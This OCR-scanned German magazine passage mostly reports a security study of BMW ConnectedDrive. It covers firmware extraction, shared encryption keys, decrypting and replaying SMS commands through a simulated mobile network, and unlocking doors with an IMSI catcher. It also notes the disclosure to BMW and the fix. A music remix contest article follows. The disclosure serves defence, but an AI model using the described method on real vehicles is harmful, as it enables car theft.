tem Fahrzeug empfangsbereit 
ble iben kann .  Der SH-4A und die 
daran angeschlossene Peripherie 
würden d ie Batterie zu schne l l  
entleeren. 

Aufgesc h ra u bt 

Für  die ersten Experimente baute 
ich die Combox aus, schloss sie 
an ein Netztei l  an und startete die 
Notruffunktion, die normalerwei­
se über einen Taster im Fahrzeug 
ausgelöst wird. Die Belegung der 
Pins am Steckverbinder fü r die 
Stromversorgung und den Not­
ruftaster konnte ich durch Ana ly­
se der Bautei le auf der Platine er­
mitte ln .  Man fi ndet im I nternet 
aber auch eine BMW-Diagnose­
software fü r Werkstätten, in  der 
die Anschlussbelegung der Steu­
ergeräte dokumentiert ist. Um die 
Kommunikation der Combox mit 
dem Mobi lfunknetz mitschnei­
den zu können, habe ich in  einer 
Testumgebung mit OpenBSC 
(siehe c't-Link am Ende des Arti­
kels) und einer davon unterstütz­
ten Basisstation ein Mobi lfunk­
netz s imul iert. 

Beim Notruf versendet d ie 
Combox eine SMS und baut da­
nach e ine Sprachverbindung 
auf. Der  I nha l t  der SMS enthä lt  
keinen Kla rtext und hat keine er­
kennba re Struktur .  Bei jedem 
Notruf sehen d ie Daten anders 
aus, was auf eine Versch lüsse­
l ung h inweist. 

Um herauszufinden, wo d ie 
Daten versch l ü sselt werden, 
habe ich d ie Kommun ikat ion 
zwischen dem Mobi lfunkmodem 
und dem V850ES Mikrocontro l ler  
mitgeschn itten .  Sie erfo lgt über 
e ine serie l l e  Schnittste l le .  Die 
Ansch lu ssbelegung des Mobi l ­
funkmodems lässt s ich anhand 
von Datenblättern ermitte ln,  d ie  
man im I nternet fi ndet. Da d ie 
Daten der Notruf-SMS im  Mit­
schnitt nicht auftauchten, lag die 
Vermutung nahe, dass d ie Nach­
r icht im Modem sel bst erzeugt 
und versch lüsselt wird. Das wa r 
p laus ibel, da sich das verwende-
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te Mobi lfunkmodem um solche 
benutzerdefin ie rte Funkt ionen 
erweitern lässt. 

Ausgel ötet 

Ich musste a l so an die F i rmware 
des Modems gelangen. Auf dem 
Modem-Modu l  wa ren keine 
Standa rdtestpins (Joint Test Ac­
t ion Group, JTAG) zu fi nden, 
über die sich d ie F i rmware even­
tuel l hätte aus lesen lassen. 
Daher musste ich den F lash Chip 
des Modems aus löten, auf e ine 
Adapterplat ine setzen und aus­
lesen. Das ist nicht ganz einfach, 
da der Chip e in BGA-Gehäuse 
hat. Man muss daher nach dem 
Auslöten ein sogenanntes Reba l­
l ing du rchfüh ren .  Damit kann  
man aber auch  einen Dienstleis­
ter beauftragen [3] .  

Zum Aus lesen der F i rmware 
wurde der F lash Chip auf der 
Adapterp lat ine an ein STM32-
Eva l uat ionboard mit a usrei­
chend vielen 1/0-P ins und dem 
passenden 1/0-Spannungsbe­
reich von 1 ,8 Volt angeschlossen. 
Mit e in igen Zei len C-Code l ieß 
s ich der I nha l t  des F l ashspei­
chers a us lesen und über d ie seri­
el le Schn ittste l le  des Eva l uation­
boards zum PC übertragen.  Zur 
Analyse der ausgelesenen F i rm­
ware nutzte ich das fü r Assemb­
lercode üb l iche Tool " IDA Pro" 
von Hex-Rays, das die ARM-CPU 
des Modems unterstützt. 

Mit  I DA Pro konnte ich sehr 
schne l l  verschiedene Versch l üs­
se lungs- und Hash-Aigorithmen 
i n  der F i rmware identifizieren. 
Denn d ie gängigen Krypta-Algo­
rithmen verwenden bestimmte 
Tabel len oder Konstanten, nach 
denen man automatis iert su­
chen kann .  Mit d iesen I nforma­
tionen konnte ich weitere Code­
Tei le identifizieren, die d iese Ver­
sch l üsse l ungs- und Hash-Aigo­
r ithmen nutzen. 

Schl üsselsuche 

Woher stammten aber die Kryp­
to-Sch lüssel? Meine optimistische 
Anfangsvermutung war, dass 
fa h rzeug ind ividue l l e  Sch l ü sse l  
eventue l l  im V850ES Mikrocon­
trol ler gespeichert seien und von 
dort zum Mobi lfunkmodem über­
tragen würden. Da die Suche da­
nach zunächst zu aufwendig er­
schien, ana lysierte ich das beim 
Notruf verwendete Protoko l l  wei­
ter. Zeichenketten in der F i rm­
ware zeigten schnel l, dass offen­
sichtl ich NGTP (Next Generation 
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Telematics Protocol) a l s  Grundla­
ge fü r die Kommunikation dient. 
Das verwundert nicht weiter, da 
BMW zu den Hauptinitiatoren 
von NGTP gehört. 

NGTP verwendet die standar­
dis ierte Beschreibungssprache 
ASN. 1  (Abstrakte Syntaxnotation 
Eins) fü r die Defin ition des Kom­
munikationsprotokol ls .  Man kann 
in  der F i rmware erkennen, dass 
die Beschreibung mit dem Open­
Source-Compi ler "asn 1  c" über­
setzt wurde. Anhand der Daten­
strukturen in  der F i rmware und 
Kenntn issen, wie asn1  c arbeitet, 
lässt sich die ASN. 1 -Beschreibung 
des verwendeten Protokol ls recht 
genau rekonstruieren. Dieser 
Sch ritt ist nötig, da NGTP keine 
konkrete Implementierung vor­
g ibt, sondern nu r  Vorschläge 
dazu macht. 

Als Nächstes machte ich mich 
erneut auf d ie Suche nach den 
Krypta-Sch l üssel n .  Das NGTP­
Protoko l l  enthä lt  Funkt ionen 
zum Update der Sch lü ssel, was 
d ie Vermutung bestä rkte, i r­
gendwo seien Sch lüssel gespei­
chert. Doch die Suche b l ieb 
lange erfo lg los. Quas i  a l s  letzten 
Ausweg untersuchte ich e inen 
auffä l l i g  zufä l l i g  aussehenden 
Datenblock i n  der F i rmware. Ich 
versuchte Tei le  davon a l s  Sch lüs­
sel zu nutzen, um d ie  aufge­
zeichneten Notruf-SMS zu deko­
dieren - was nach ein igem Expe­
r imentieren tatsächl ich ge lang. 

Das wa r seltsam :  Sol lte tat­
sächl ich fü r a l l e  Fahrzeuge iden­
tisches Sch l ü sselmateria l ver­
wendet werden? Andererseits 
hatte ich bislang nur d ie Notruf­
SM$ untersucht. Fü r  d iese An­
wendung wä ren identische 
Sch lüssel eher unkritisch. 

Ich hatte also herausgefun­
den, dass zum Verschl üsse ln  DES 
{56-Bit-Sch l üssel )  oder AES 1 28 
( 1 28-Bit-Sch lüssel )  verwendet 
wird. Für d ie Signatu r von Daten 
sind d rei Methoden implemen­
tiert: DES CBC-MAC, HMAC-SHA 1 
oder HMAC-SHA256. Der ver­
wendete Algorithmus wird im 
Header der Nachricht angezeigt. 
Außerdem g ibt es fü r Versch l üs­
sel ung und S ignatur 1 6  Paa re 
aus  zwei jewei l s  64 Bit l angen 
Sch l üssel n .  Das verwendete 
Sch lü sse lpaar wi rd ebenfa l l s  im 
Header der Nachricht vermerkt. 

Unkl a r  i st, wa rum BMW die 
DES-Versch l üsse lung benutzt, 
denn d ieser Algorithmus g i l t  seit 
Langem als gebrochen. Er hat 
zwa r gegenüber den anderen 
Krypto-Verfah ren e ine kü rzere 

Blocklänge, was zu kü rzeren 
Nach richten füh ren kann,  aber 
3DES (Tr ip le-DES) bietet d iesen 
Vortei l  ebenfa l l s  und g i l t  zumin­
dest noch a l s  ha lbwegs sicher. 

Eingebaut 

Nach dem erfo lg reichen Ent­
sch l üsse ln  und Dekodieren der 
Notruf-SMS setzte ich d ie Unter­
suchung am Fahrzeug fort. Ich 
wol l te herausfi nden, ob d ie  
Kommun ikation be i  s icherheits­
relevanten Funkt ionen besser 
geschützt ist. Dazu schaute ich 
mir das ferngesteuerte Entr ie­
ge ln der Fahrertü r näher an .  

Um d iese Funktion zu nutzen, 
r ichtet man e inen Account auf 
dem BMW-Porta l e in und scha l-
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tet die sogenannten "Remote 
Services" frei .  Mit den Apps "My 
BMW Remote" fü r iOS und An­
d roid lässt sich dann die Fahrer­
tür entriege ln .  Um zu verstehen, 
was dabei genau passiert, muss­
te ich wieder die Kommun ika­
t ion mitschneiden.  Die konnte 
nu r  mit e iner SMS an das Fahr­
zeug beg innen, da e ine Daten­
verbindung zum abgeste l l ten 
Fahrzeug nicht mögl ich wäre. 

Der einfachste Weg, an d iese 
SMS zu gelangen, war die Über­
wachung der seriel len Schnittstel le 
zwischen dem Mobi lfunkmodem 
und dem V850ES-Mikrocontro l ler  
der Combox. Nachdem ich mit 
der App eine Entriegel ung aus­
gelöst hatte, fand sich in den auf­
gezeichneten Daten tatsächl ich 

Die geöffnete Combox: Dieses Steuergerät im BMW stel l t  
unter anderem die Onl ine-Verbindung für ConnectedDrive her. 
Das Modem dafür befindet sich rechts oben auf der Platine. 

Mit einer Basis­
station wie 

der SysmoBTS 
(oben) oder der 

nanoBTS lässt 
sich ein Mobi l­

funknetz s imu­
l ieren, um den 
Datenverkehr 

des eingebuch­
ten Steuer­

geräts zu 
belauschen. 

0 

u 
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Der F lashspeicher des Modems muss ausgelötet 
und auf eine Adapterplatine ( l inks) gesetzt 
werden. Der Aufbau zum Auslesen mutet zwar 
abenteuerl ich an, funktioniert aber. 

Das Modem-Modul  der Combox verschlüsselt 
Daten, die per SMS verschickt werden. 

die vom Fahrzeug empfangene 
SMS. Es handelt s ich offensichtlich 
um eine Art Debug-Nachricht, da 
die eigentl iche Vera rbeitung der 
SMS im Mobi lfunkmodem erfolgt. 

Die Nach richt l ieß sich mit 
Kenntn is der Krypto-Aigorith­
men und Sch lü ssel-Tabe l le  pro­
blemlos dekodieren und ana ly­
s ieren. Dann  habe ich im s imu­
l ierten Mobi lfunknetz eine Kopie 
der SMS erneut ans Fahrzeug ge­
schickt (Replay-Angriff}, um des­
sen Reaktion zu beobachten. 

Nachdem das Fahrzeug die 
SMS empfangen hatte, dauerte 
es etwa eine Minute, bis das Sys­
tem um den Hauptprozessor 
hochgefah ren war. Dann  baute 
die Combox über das Mobi lfunk­
netz eine Datenverbindung zum 
BMW-Backend und versuchte, 
von dort Daten abzu rufen.  Da 

ohne Öffnungsbefeh l  keine 
Daten vorlagen, brach die Kom­
mun ikation ab; weiter passierte 
n ichts. Die SMS hatte a lso zum 
Öffnen nicht ausgereicht, son­
dern nur den Abruf weiterer An­
weisungen vom Backend ausge­
löst (siehe I nfografik auf S. 89). 

Das Ung laubl iche daran :  Die 
Kommun ikation zwischen Fahr­
zeug und BMW-Backend l ieß sich 
im s imu l ierten Mobi lfunknetze 
problemlos mitschneiden. Denn 
das Fahrzeug schickte einen ein­
fachen HTIP-GET-Request an den 
Server. Es gab keine Transportver­
sch l üsse lung per SSL oder TLS. 

Um herauszufinden, welche 
Daten das Fahrzeug vom BMW­
Backend erwartet, musste ich vor 
dem Replay der SMS ledigl ich mit 
der App die Entriegelung auslö­
sen. So lagen auf dem Server 

Betroffene Fahrzeuge und was zu tun ist 

Daten fü r das Fahrzeug bereit, 
d ie es abrief. Ku rz danach wurde 
die Tür entriegelt. 

Auch d iese Daten l ießen sich 
mit den bisher gewonnenen 
Kenntn issen entsch l ü sse ln und 
ana lysieren. Als Protoko l l  d iente 
wiederum NGTP. Im Unterschied 
zur SMS wurde ledigl ich e in an­
deres Versch l ü ssel ungs- bezie­
hungsweise S ignaturverfah ren 
verwendet, AES 1 28 anste l le  DES 
und HMAC-SHA256 anste l le  DES 
CBC-MAC. Die Sch l ü sseltabe l le  
war d ieselbe. 

Ein bruch 

Damit waren a l l e  I nformationen 
vorhanden, um al le an  der Tü r­
fernentriege lung betei l igten Kom­
ponenten zu s imul ieren: Ich konn­
te mit selbst erzeugten Daten das 

Der ADAC hat BMW über d ie Erkenntnisse i nfor­
miert und a l s  Verbraucherschützer Abhi lfe gefor­
dert. Der Herste l ler  bestätigte d ie Sicherheits­
l ücken .  Demnach sind a l l e  mit ConnectedDrive 
ausgestatteten Mode l le  der Marken BMW, Min i  
und Rol l s  Royce betroffen, die zwischen März 
201 0 und dem 8. Dezember 201 4 produziert 
wurden. Das s ind in Deutsch land rund 423 000 
Fahrzeuge, weltweit 2,2 Mi l l ionen. Der ADAC hat 
eine Aufste l l ung der über 50 betroffenen Mo­
de l le  veröffentl icht (siehe c't-Li nk) .  

d ie Transportverschl üsse lung der Daten be i  den 
betroffenen ConnectedDrive-Diensten aktiviert. 
Dabei wird laut BMW auch das Zertifi kat des Ser­
vers geprüft. 

BMW wurde vor der Veröffentl ichung nach Ab­
sprache ausreichend Zeit eingeräumt, um Maß­
nahmen zu treffen. E ine über Mobi lfunk  ausge­
löste Konfigurationsänderung hat mitt lerwei le 
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Die Besitzer können jedoch nicht selbst erkennen, 
ob ihr  Fahrzeug die Änderung erha lten hat. Wer 
hierüber Gewissheit er langen wi l l ,  kann sich bei 
der BMW-Hotl ine unter 0 89/1 25 01  60 1 0 erkun­
digen. Dies wird besonders bei Fahrzeugen emp­
fohlen, die in den vergangenen Monaten in Tief­
garagen oder an anderen Orten ohne Mobilfunk­
empfang gestanden haben oder bei denen die 
Sta rterbatterie zeitweise abgeklemmt war. Über 
die Funktion "Dienste aktual isieren" im Fahrzeug­
menü kann man die Änderung selbst auslösen. 

Fahrzeug öffnen. Dazu waren nur  
d ie Basisstation und ein Laptop 
notwendig, der die gefä l schte 
SMS schickte und sich als Back­
end-Server von BMW ausgab. 

Doch würden die bei der Kom­
munikation verwendeten Sch lüs­
sel tatsächl ich auch bei anderen 
Fahrzeugen funktionieren? Tests 
mit mehreren BMWs bestätigten 
d ies. Dabei kamen auch noch 
weitere Erkenntnisse h inzu .  So 
können i n  Fahrzeugen mit Con­
nectedDrive du rchaus die Re­
mote Services deaktiviert sein, 
wodu rch die Fernentr iege lung 
n icht  funkt ioniert. Die Aktivie-

� rung des Dienstes kann  aber  
& ebenfa l l s  per  s imu l iertem Mobi l -
0 funknetz erfolgen und lä uft ähn­

l ich ab, wie bereits bekannt. 
Dabei erhä l t  das Fahrzeug 

e ine SMS, die es anweist, eine 
neue Konfigu rat ion vom BMW­
Backend zu laden. Dies tut es per 
e i nfachem HTTP-GET-Request; 
das Format der Daten ist unver­
sch lüsseltes XML und ohne g rö­
ßere Probleme verständ l ich. Die 
Konfigu rat ion ist n icht gegen 
Man ipu lat ion geschützt, was 
man etwa du rch e ine S ignatur 
einfach erreichen könnte. Daher 
lassen sich im s imu l ierten Mobi l ­
funknetz prob lemlos zuerst die 
Remote Services im Fahrzeug 
aktivieren, um danach die Tür zu 
entriege ln .  

Immerhin g ibt es i n  den ans 
Fahrzeug ad ressierten Nachrich­
ten ein Element, anhand dessen 
es prüft, ob korrekt ad ressiert 
ist: d ie Fahrgeste l l nummer oder 
neudeutsch VI N (Vehic le ldentifi­
cation Number). Stimmt die VI N 
nicht, führt das Fahrzeug die ge­
wünschte Aktion nicht aus. Aber 
auch das ste l lte kein  H indernis 
dar, denn freund l icherweise er­
wies s ich die Combox a ls  sehr ko­
operativ: Wenn sie e ine ansons­
ten gü ltige NGTP-SMS erhielt, in 
der ledig l ich d ie VI N fa lsch wa r, 
so antwortete sie mit einer Feh­
ler-SMS, ebenfa l l s  im NGTP-For­
mat. Die enthie lt a l s  Absender 
die korrekte VI N des Fahrzeugs. 

Bei der Untersuchung an  wei­
teren Fahrzeugen wa ren auch 
sehr aktue l le  Mode l le  dabe i .  Bei 
e in igen ist die Combox du rch 
andere Steuergeräte ersetzt: Die 
Mu l timedia- und Freisprechtunk­
t ionen s ind in der sogenannten 
Headunit  (Bordcomputer, Navi­
gation und I nfota inment) i nte­
g riert, fü r die Mobi lfunkkommu­
n ikat ion ist d ie  TCB (Telematic 
Commun ication Box) zuständig .  
Sie beherrscht zusätzl ich zu GSM/ 
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GPRS/EDGE auch UMTS. Außer­
dem ignoriert d ie TCB Nachrich­
ten mit fa lscher VIN, statt darauf 
zu antworten .  Die korrekte Fahr­
geste l l nummer lässt s ich daher 
n icht so ei nfach ermitte l n  wie 
be i  der Combox. Es werden aber 
weiterhin die bekannten, fü r a l l e  
Fahrzeuge identischen Sch lüssel 
benutzt. 

ln der Praxis 

Wie könnte nun ein Türöffnen per 
s imul iertem Mobilfunknetz prak­
tisch aussehen? Das nötige Equip­
ment passt in einen Aktenkoffer 
oder Rucksack. Die Reichweite 
des s imul ierten Mobi lfunknetzes 
kann  auch in der Stadt hundert 
Meter und mehr betragen. Es 
wird so aufgesetzt, dass Telefone 
das stä rkere Signal des s imu l ier­
ten Netzes erkennen und sich 
dort einbuchen { IMSI-Catcher). 
Der IMSI-Catcher muss nicht die 
Telefonnummer des Fahrzeugs 
kennen, um ihm eine SMS zustel­
len zu können. Er nutzt die TMSI 
(Tempora ry Subscriber ldentity), 
d ie er beim Einbuchen verg ibt. 
So l len auch Fahrzeuge mit der 
TCB geöffnet werden, muss man 
ein vorhandenes UMTS-Signa l  
mit e inem sogenannten Jammer 
stören, um das Steuergerät zum 
Fa l lback auf GSM zu zwingen. 

Da sich vermut l ich nicht nu r  
Fahrzeuge m i t  ConnectedDrive 
in  das s imul ierte Netz ein buchen, 
ist eine Vorauswah l  anhand der 
IMEI, a lso der Seriennummer von 
Telefonen und Mobi lfunkmo­
dems s innvo l l .  Die ersten acht 
Ziffern der IMEI identifizieren das 
Gerät (Type A l location Code, 
TAC). Hieran kann man auch zwi­
schen Combox und TCB unter­
scheiden. 

Bei einem Combox-Fah rzeug 
lässt s ich die VIN wie beschrieben 
ermitte l n, danach werden d ie 
Remote Services aktiviert und 
sch l ieß l ich d ie Fahrertür entrie­
gelt .  Bei Fahrzeugen mit TCB 
muss man die VIN anders ermit­
te l n .  Je nach Aus l ieferungs land 
muss sie du rch die F rontscheibe 
zu sehen sein oder sie steht auf 
einem Etikett im Türrahmen, das 
man zum Beispie l beim Ausstei­
gen der I nsassen fotografieren 
kann .  Das Entr iege ln h i nterlässt 
keine Spuren und fä l l t  a uch i n  
belebten Straßen nicht auf. 

Zusammenfassu n g  

Zum Zeitpunkt der  Untersu­
chung hatte ConnectedDrive 
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sechs Schwachpunkte, d ie seine 
Sicherheit kompromittierten: 
- BMW verwendet i n  a l len Fahr­

zeugen diese lben symmetri­
schen Sch lüssel .  

- Einige Dienste verzichten bei 
der Datenübertragung zum 
BMW-Backend auf e ine Trans­
portversch lüssel ung .  

- Die I nteg rität der  Connected­
Drive-Konfiguration wi rd nicht 
geschützt. 

- Die Combox verrät mit NGTP­
Feh lerme ldungen die VI N des 
Fahrzeugs. 

- Per SMS versendete Daten im 
NGTP-Format werden mit dem 
unsicheren DES-Verfah ren ver­
sch lüsselt. 

- Die Combox hat keinen Schutz 
vor Replay-Angriffen. 

Diese Prob leme wä ren einfach 
vermeidbar gewesen .  So s ind 
Funkt ionen zur Transportver­
sch l ü ssel ung  du rchaus vorhan­
den, wurden aber nur  für ein ige 
ConnectedDrive-Dienste genutzt. 
Außerdem individual isiert der Her­
ste l ler die betroffenen Steuerge­
räte, indem er beispielsweise die 
VIN einprogrammiert. Dabei sol lte 
es mögl ich sein, auch fahrzeugin ­

dividuel le Sch lüssel abzuspeichern. 
Dr. Klaus  Büttner von BMW 

Forschung und Technik hatte c't 
vor e inem Jahr  im Interview er­
klä rt, die Sicherheit und der auto­
risierte Zugriff auf das Fahrzeug 
stünden im Vorderg rund der 
On l ine-Dienste von BMW. Zum 
einen würden a l l e  Dienste über  
e in BMW-eigenes, mit d iversen 
Sicherheits-Features ausgestatte­
tes Backend geroutet, zum an­
deren würden d iese Dienste im 
Fahrzeug an  e in  Gateway gerou­
tet, das nur autorisierte und vor­
her festgelegte Nachrichten und 
Daten weiterg ibt. 

Im Pr inz ip traf das zu, doch 
der Fehler steckte im Deta i l .  Nun  
ha t  BMW die Sicherheits l ücken 
nach eigener Aussage du rch Ein­
schalten der Versch lüsse lung ge­
sch lossen (siehe Kasten) .  Was 
können aber Fahrzeugbesitzer 
tun, die dennoch veruns ichert 
sind? Leider g ibt es keine Mög­
l ichkeit, d ie Mobi lfunkkommuni­
kat ion von ConnectedDrive bei 
Bedarf e in- und auszuscha lten, 
ähn l ich dem F l ugzeugmodus bei 
Mobi lte lefonen. 

Man kann  zwa r Connected­
Drive permanent deaktivieren, das 
erfordert aber einen schrift l ichen 
Antrag und einen Werkstattbe­
such. Als Selbsthi lfe könnte man 
den Antennenstecker an der Com­
box beziehungsweise an der TCB 
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abziehen. Je nach Fahrzeugmodell 
ist das e infach mög l i ch, da das 
Steuergerät unter der Kofferraum­
abdeckung e ingebaut ist. A l ler­
dings wird dadurch auch der au­
tomatische Notruf abgescha ltet. 

etwa per Common-Criteria-Zerti­
fizierung des Bundesamtes fü r Si­
cherheit in  der I nformationstech­
nik (BSI) in  Bann. (ad@ct.de) 

Literatur  Wer das n icht  möchte, muss 
darauf hoffen, dass die Fahrzeug­
herste l le r  ausreichende Sorgfa l t  
auf die Deta i l s  i h rer Onl ine-Syste­
me verwenden. Der ADAC for­
dert jedenfa l l s, dass Computer­
techn ik  im Auto zeitgemäß 
gegen Manipu lation und i l legale 
Zugriffe geschützt wird. Dieser 
Schutz müsse nach Standards er­
fo lgen, wie sie in anderen Bran­
chen längst üb l ich sind. Außer­
dem müsse d ieser Schutz von 
neutra ler Ste l le bestätigt werden, 
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Angriff auf BMW ConnectedDrive 

Wenn der Besitzer in der BMW Remote App die Türentriegelung 
veranlasst, erhält das Fahrzeug eine SMS vom BMW-Backend. 
Es holt daraufhin den Öffnungsbefehl von einem Server und 
führt ihn aus. 

Besitzer g ibt Befeh l  
in  BMW Remote App 

"Entrieg le Tü r" 

SMS 

"Hole Befe h l" 

Das Modem im Steuergerät 
fä h rt das System hoch 

Datenverbi ndung per HTIP-GET 
zum BMW-Backend 

"Remote-Service-Befeh l  
vorhanden?" 

Datenverbindung :  
Antwort auf HTIP-GET 

"Entrieg le Tü r" 

Fahrertür  wird entriegelt 

E in  Hacker  ka n n  m it einer tragbaren 
Mobi lfu n k-Basisstation ohne Zutun  des 
Besitzers gefä lschte SMS und Daten ans  

Fahrzeug senden, u m  die Tü r zu entriege ln .  

� 
� 
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c't-Remix-Wettbewerb 

Das Remix-Materia l 

Creative-Commons-Lizenzen 

Hartmut Giese l m a n n  

Seite 90 

Seite 94 

Freie M usi k-Cocktai ls 
c't-Rem ix-Wettbewerb m it Creative-Co m mo n s-Materia l 

Sta rt frei fü r u nseren zweiten Remix-Wettbewerb: Gleich zwei Songs 
stehen m it i h ren kompletten Aufnahmespuren zu r Wah l .  Die Sieger-Mixe 
pressen wir auf CD und Vinyl. Und das Beste: Sie können I h re Remixe im 
I nternet frei vertei len, ohne Zah lungen an die GEMA oder  GVL 
befü rchten zu müssen .  
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D rei wichtige Änderungen 
haben wir bei unserem 

neuen Remix-Wettbewerb vorge­
nommen: Erstens haben wir nicht 
nur e inen, sondern zwei Pop­
Songs ausgesucht. Sie können 
wäh len, ob Sie es gerne etwas 
härter oder softer mögen. Zwei­
tens wurden die Songs mit einem 
festen Tempo eingespielt . So 
können auch Einsteiger das Mate­
rial leicht in groovende Loops zer­
schneiden, ohne das Timing 
nachbearbeiten zu müssen. Und 
d rittens wurden beide Songs 
unter einer Creative Commons 
Publ ic License veröffentl icht (CC 
BY-SA-NC 3 .0). Sie können I h re 
Remixe a lso frei im I nternet ver­
tei len - auch abseits unseres 
Wettbewerbs. 

Fü r  den neuen Wettbewerb 
konnten wir die Band The Easton 
E l l ises gewinnen .  Die vier Musi­
ker aus dem kanadischen Mon­
trea l s ind seit Jahren Befü rworter 
von Creative Commons (CC) und 
haben bereits mehrere EPs unter 
d iesem Lizenzmodel l  veröffent­
l icht. Vie le i h rer Songs stehen 
ganz oben auf den Hit l isten des 
CC-Senders Jamendo. Und so 
waren sie a uch g leich von der 
Idee begeistert, mit uns e inen 
neuen Wettbewerb zu sta rten, 
der Remixern deut l ich mehr 
F rei heiten e inräumt a l s  b is lang 
gewohnt. 

Das Song-Material  

Ausgesucht haben wir zwei 
e ingängige Uptempo-Nummern 
"Sex, Drugs & Rock'n'Rol l" (SDRNR) 
sowie "Fa lcon 69". Das in A-Dur  
komponierte SDRNR kommt mit  
se inem Gitarren riff und dem 
verzerrten Sprechgesang sehr 
rotzig daher . Die Band hat das 
Stück i n  i h rem eigenen Stud io 
e ingespie lt .  Die Gitarre wurde 
mit e inem Sennheiser E906 von 
e inem Ma rsha i i -Amp abgenom­
men.  Die Drums stammen von 
e inem e lektronischen Kit, nebst 
e in iger Softwa re-Synthies und  
einem Juno 6. Fü r  den verzerrten 
Gesang steckte der Sänger sein 
Shu re-SM58-Mi krofon i n  einen 
l banez-TS9-Tube-Screamer. Von 
dort aus  g ing es über e inen 
DBX-286A-Pre-Amp in  e inen 
l box-Mixer von Soundscape. Als 
Kompressor-Piug- ins kamen APis 
2500er sowie der LA2 von Uni­
versa l Audio zum E insatz nebst 
einem Sonitus:fx fü r das Delay. 

"Fa lcon 69" wurde h ingegen 
g latter und  radiotaug l icher i n  
A-Mo l l  a rra ng iert. Fü r  d ie  Auf-
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Praxis I Remix-Wettbewerb 

nahmen buchte die Band das 
Emery Street Studio in  Montreal, 
die das akustische Schlagzeug 
mit einer Cadac-Konsole aufnah­
men und den Song auf e iner 
ana logen SSL -Konsole mischten. 
Der Gesang wurde mit e inem 
Neumann U-87 aufgenommen, 
angeschlossen an  e inem Ca rtec 
PRE-QS Pre-Amp und kompri­
miert mit e inem Neve 1 073LB. 
Das mit Synthie-F iächen und 
Backraund-Chor üppig ausge­
schmückte Stück lässt s ich er­
staun l ich flexibel in verschiede­
nen Tanzsti len remixen, wie der 
im Orig ina l  entha ltene Dubstep­
Break (Takt 69 bis 76) beweist. 

Effekten des fi na len Songs ab­
gemischt. Dazu gehören fünf 
Sch lagzeugspuren, vier Synthie­
Spuren sowie Bass, Gitarre, Ge­
sang und Spezia l -Effekte. Sie 
können die Spuren zum Remi­
xen d i rekt i n  e ine DAW I h rer 
Wah l laden (Tempo 1 30 bpm). 

Stru ktur der Songs von The Easton E l l ises 
Song SDRNR Falcon 69 

Tempo / Tonart 130 bpm I A-Dur 1 28 bpm I A-Moll 
Position Akkorde Position Akkorde 

I ntro Takt 1 -8 A-C-G-A Takt 1 -8 Am-C-G-D 
Verse l . Takt 9 -24 A-C-G-A7 1 .  Takt 9-24 Am-D-Am-D 

2. Takt 43-58 D-C-G-D 2. Takt 37-52 
Pre-Chorus l . Takt 25-32 A-C-D-E-E 

2. Takt 59-66 
Chorus 1 .  Takt 33-42 A-G-C-F-G l . Takt 25-36 Am-C-G-D7 

2. Takt 67-82 2. Takt 53-68 Am-C-G-D7 

"Falcon 69" umfasst neben den 
sechs fertig abgemischten Spuren 
(Wet-Stems) auch die trockenen 
29 Orig ina l -Spu ren, wie s ie die 
Band nach den Aufnahmen ohne 
jedwede Effekte i h rem Pro­
duzenten zum Mixen und Mastern 
gegeben haben (Tempo 
1 28 bpm).  Remixer haben h ier  
g rößere Fre iheiten, müssen je­
doch beispielsweise den Gesang 
stä rker nachbea rbeiten als bei 
SDRNR. Für  einen besseren Über­
blick fassen Sie die Synth- sowie 
1 2  Drum-Spu ren am besten i n  
Sub-Gruppen zusammen. 

3. Takt 1 00-1 24 3. Takt 85-122 Am-C-G-D7 

Break Takt 83-90 D 
Built-up Takt 91 -99 A-C-D-E-E 

Remix-Pack zum Download zu­
sammengeste l l t, das ebenfa l l s  
unter CC  BY-SA-NC 3 . 0  steht. 

Am-C-Em-D 

Takt 69-76 
Takt 77-84 F-G-Am 

F-G-D 

Beide Songs wurden auf Ja­
mendo bereits weit über 
1 00 OOOma l abgerufen und ge­
hörten dort zu den Top-Tite ln  
des Jah res. Auf  unserer Remix­
Seite www.ct.de/remix können 
Sie d ie Songs n icht  nu r  anhören, 
sondern auch getrennte Spuren 
der Stücke zum Remixen kosten­
los herunter laden. 

Mixer-Ei nste l l u ngen 

Die 1 3  Spurg ruppen (Sterns) von 
"SDRNR" sind bereits mit a l len 

Den Aufbau der  Songs mit 
den verwendeten Akkorden fi n­
den Sie in  der Tabel le oben. Um 
I hnen die Arbeit zu er le ichtern, 
haben wir  aus den Spuren be­
reits ma rkante Ste l len a l s  Aud io­
und M ID I -Loops extrah iert und 
d iese mit weiterem Zusatz­
materia l  in einem separaten c't-

Gegen den Strich 

Scheuen S ie s ich fü r den Wett­
bewerb n icht vor ungewöhn l i ­
chen I nterpretat ionen .  Bü rsten 
S ie  das Mater ia l  ruh ig  gegen 
den Str ich .  Wir  freuen uns  auf 
e ine  mög l ichst g roße kreative 
Bandbreite: Legen s ie e inen 
Ha l f-Beat d runter, dekonstru ie-

ren S ie es zu e iner  Tri p-Hop­
Nummer im  Sti l von Kruder und  
Dorfmeister oder  d rehen Sie es  
zu e ine r  schne l len Ska-Nummer 
auf. Dazu müssen Sie keinesfa l l s  
d ie  Stru ktu r  der  Orig i na l e  von 
Strophe und Refra i n  aufrechter­
ha l ten, sondern können s ich 
be isp ie l sweise auch  d ie  
Break/Bu i ld -up-Passagen gegen 
Ende herauspicken, und d iese 
zu e inem energ iege ladenen 
Track a usba uen .  S ie können 
auch  andere Akkorde verwen-

Der Wettbewerb auf www.ct.de/remix 

Wei l  d ie  Creative-Commons-Lizenz der  
be iden Songs e ine kommerzie l l e  Nutzung 
aussch l ießt, deckt s ie d ie  Tei l nahme an 
e inem Wettbewerb nicht ab .  Doch keine 
Sorge: Wir haben mit der Band fü r den 
Wettbewerb und d ie Produktion der  CDs 
und Vinyi-EPs e ine zusätzl iche Verein­
barung getroffen .  Sie dü rfen mit I h rem 
Remix a l so an  unserem Wettbewerb auf 
www.ct.de/remix tei lnehmen und ­
sol lten S ie gewinnen - von uns  auf CD 
und Vinyl produzieren lassen. 

Schicken Sie I h ren Remix bis spätestens 
zum 7.  April 201 5 per E-Mail an  
remix@ct.de. So haben Sie noch d ie Oster­
Feiertage, um Ih rem Track den letzten 
Schl iff zu geben. Die Mai I sol lte den Remix 
als MP3-Datei und ein quadratisches B i ld 
(mindestens 300 x 300 Pixel) fü r d ie Prä­
sentation im F ina le enthalten. 

Zudem ha lten Sie bitte e ine unkompri­
mierte Wav-Version (24 Bit, mindestens 
48 kHz) des Remixes pa rat, auf die Sie per 
Link auf einen Download-Service (Dropbox 
etc.) verweisen. Sie können auch einen 
Down load-Link auf d ie MP3-Datei 
